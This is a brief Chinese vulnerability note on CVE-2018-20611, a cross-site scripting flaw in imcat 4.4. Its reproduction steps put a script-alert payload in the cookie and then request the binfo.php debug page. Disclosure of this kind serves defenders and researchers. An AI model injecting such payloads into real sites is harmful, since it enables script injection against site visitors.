(CVE-2018-20611)Imcat 4.4 xss

一、漏洞简介

imcat是一套基于PHP的开源建站系统。 imcat 4.4版本存在跨站脚本漏洞。远程攻击者可通过向root/tools/adbug/binfo.php?cookie URI发送特制的cookie利用该漏洞注入任意的Web脚本或HTML。

二、漏洞影响

imcat 4.4

三、复现过程

将cookie的值修改成

"><script>alert(1)</script>

然后访问

http://www.0-sec.org/root/tools/adbug/binfo.php?cookie`

参考链接

https://github.com/AvaterXXX/CVEs/blob/master/imcat.md

零组资料文库 all right reserved,powered by 0-sec.org未经授权禁止转载 2020-03-02 01:24:40

results matching ""

    No results matching ""